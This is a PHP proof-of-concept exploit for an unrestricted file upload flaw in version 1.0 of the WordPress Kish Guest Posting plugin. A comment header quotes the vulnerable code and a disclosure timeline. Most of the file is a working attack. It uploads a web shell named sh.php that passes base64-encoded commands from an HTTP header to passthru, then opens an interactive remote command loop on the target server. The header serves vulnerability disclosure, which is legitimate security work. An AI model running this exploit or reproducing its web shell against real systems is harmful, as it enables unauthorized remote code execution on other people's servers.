<?php
/*
--------------------------------------------------------------------------------
Wordpress Kish Guest Posting Plugin 1.0 (uploadify.php) Unrestricted File Upload
--------------------------------------------------------------------------------
author............: Egidio Romano aka EgiX
mail..............: n0b0d13s[at]gmail[dot]com
software link.....: http://kishpress.com/guest-posting-plugin/
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] vulnerable code in /uploadify/scripts/uploadify.php
26. if (!empty($_FILES)) {
27. $tempFile = $_FILES['Filedata']['tmp_name'];
28. $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
29. $targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];
30. // $fileTypes = str_replace('*.','',$_REQUEST['fileext']);
31. // $fileTypes = str_replace(';','|',$fileTypes);
32. // $typesArray = split('\|',$fileTypes);
33. // $fileParts = pathinfo($_FILES['Filedata']['name']);
34.
35. // if (in_array($fileParts['extension'],$typesArray)) {
36. // Uncomment the following line if you want to make the directory if it doesn't exist
37. // mkdir(str_replace('//','/',$targetPath), 0755, true);
38.
39. move_uploaded_file($tempFile,$targetFile);
40. echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);
41. // } else {
42. // echo 'Invalid file type.';
43. // }
44. }
Restricted access to this script isn't properly realized, so an attacker might be able to upload
arbitrary files containing malicious PHP code due to uploaded file extension isn't properly checked.
[-] Disclosure timeline:
[19/12/2011] - Vulnerability discovered
[19/12/2011] - Vendor notified through http://kish.in/contact-me/
[07/01/2012] - No response from vendor, notified again via email
[16/01/2012] - After four weeks still no response
[23/01/2012] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("\n[-] No response from {$host}:80\n");
fputs($sock, $packet);
return stream_get_contents($sock);
}
print "\n+----------------------------------------------------------------------------------+";
print "\n| Wordpress Kish Guest Posting Plugin 1.0 Unrestricted File Upload Exploit by EgiX |";
print "\n+----------------------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /wordpress/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"sh.php\"\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";
$packet = "POST {$path}wp-content/plugins/kish-guest-posting/uploadify/scripts/uploadify.php?folder={$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if (!preg_match('/sh.php/', http_send($host, $packet))) die("\n[-] Upload failed!\n");
$packet = "GET {$path}sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\nkish-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
